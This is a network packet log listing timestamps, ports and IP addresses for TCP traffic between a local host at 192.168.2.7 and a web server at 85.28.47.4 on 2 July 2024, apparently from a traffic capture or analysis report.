Jul 2, 2024 12:21:03.250298977 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250309944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250320911 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250319958 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250350952 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250371933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250382900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.250400066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.250425100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256294966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256304979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256314993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256333113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256361961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256376028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256386042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256397009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256406069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256408930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256422997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256452084 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256463051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256493092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256752014 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256778955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256781101 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256788969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256807089 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256823063 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256853104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256863117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256880999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256896973 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256952047 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256963015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256973028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.256982088 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.256999016 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257041931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257057905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257069111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257071018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257098913 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257122993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257153988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257167101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257184029 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257194996 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257196903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257205009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257213116 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257232904 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257327080 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257337093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257348061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257358074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257359982 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257369995 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257376909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257380962 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257402897 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257422924 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257559061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257570028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257586956 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257590055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257596970 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257605076 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257607937 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257621050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257622957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257632017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257652044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257668018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257826090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257837057 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257847071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257858038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257859945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257869005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257878065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257880926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257889032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257900953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.257915974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.257935047 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258033037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258043051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258059978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258085012 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258213043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258224010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258234024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258241892 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258244038 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258255005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258258104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258265972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258275986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258289099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258294106 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258306980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258308887 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258317947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258327007 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258328915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258363008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258383036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258510113 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258541107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258618116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258629084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258640051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258647919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258650064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258661985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258671999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258677006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258682966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258699894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258718014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258882046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258893013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258903027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258913040 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258915901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258924007 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258932114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258934975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258945942 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258955002 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258960009 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258966923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.258981943 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.258997917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263047934 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263058901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263082027 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263082981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263101101 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263111115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263130903 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263154984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263166904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263178110 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263195992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263222933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263223886 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263252020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263252974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263268948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263278008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263295889 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263341904 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263353109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263362885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263370037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263374090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263384104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263406992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263468027 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263485909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263499975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263519049 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263524055 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263529062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263545990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263561010 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263596058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263606071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263617039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263627052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263628960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263636112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.263657093 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.263672113 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.264254093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264264107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264275074 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264286041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.264300108 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264311075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264313936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.264321089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264348984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.264406919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264417887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.264437914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.264461994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339093924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339111090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339131117 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339138031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339140892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339153051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339168072 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339169979 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339175940 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339183092 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339217901 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339267969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339277983 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339288950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339297056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339313984 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339324951 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339327097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339335918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339346886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.339349985 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339368105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.339390993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345283985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345298052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345309973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345324039 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345345974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345359087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345371008 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345381975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345391035 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345418930 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345501900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345513105 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345535040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345633030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345663071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345702887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345716000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345732927 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345756054 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345798969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345828056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345848083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345875025 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345889091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345900059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345921993 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345937014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.345984936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.345994949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346005917 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346021891 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346024990 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346029997 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346050978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346103907 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346113920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346124887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346136093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346148014 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346175909 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346266985 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346278906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346290112 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346297026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346301079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346323967 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346352100 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346498966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346509933 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346520901 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346529961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346529961 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346539974 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346548080 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346575975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346579075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346590042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346600056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346611023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346631050 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346653938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346798897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346811056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346821070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346831083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346831083 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346848011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346858978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346863031 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346869946 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346880913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346890926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346890926 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346904039 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.346908092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346924067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.346951008 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347131968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347141981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347157955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347166061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347168922 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347179890 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347179890 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347191095 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347197056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347201109 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347217083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347224951 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347228050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347239017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347243071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347259998 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347284079 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347394943 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347405910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347415924 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347429991 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347455978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347630978 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347642899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347652912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347661018 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347664118 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347675085 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347676992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347685099 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347691059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347696066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347697020 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347707987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347718954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347726107 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347729921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347742081 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347744942 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347753048 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347764015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.347768068 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.347791910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.348037958 CEST	80	49699	85.28.47.4	192.168.2.7
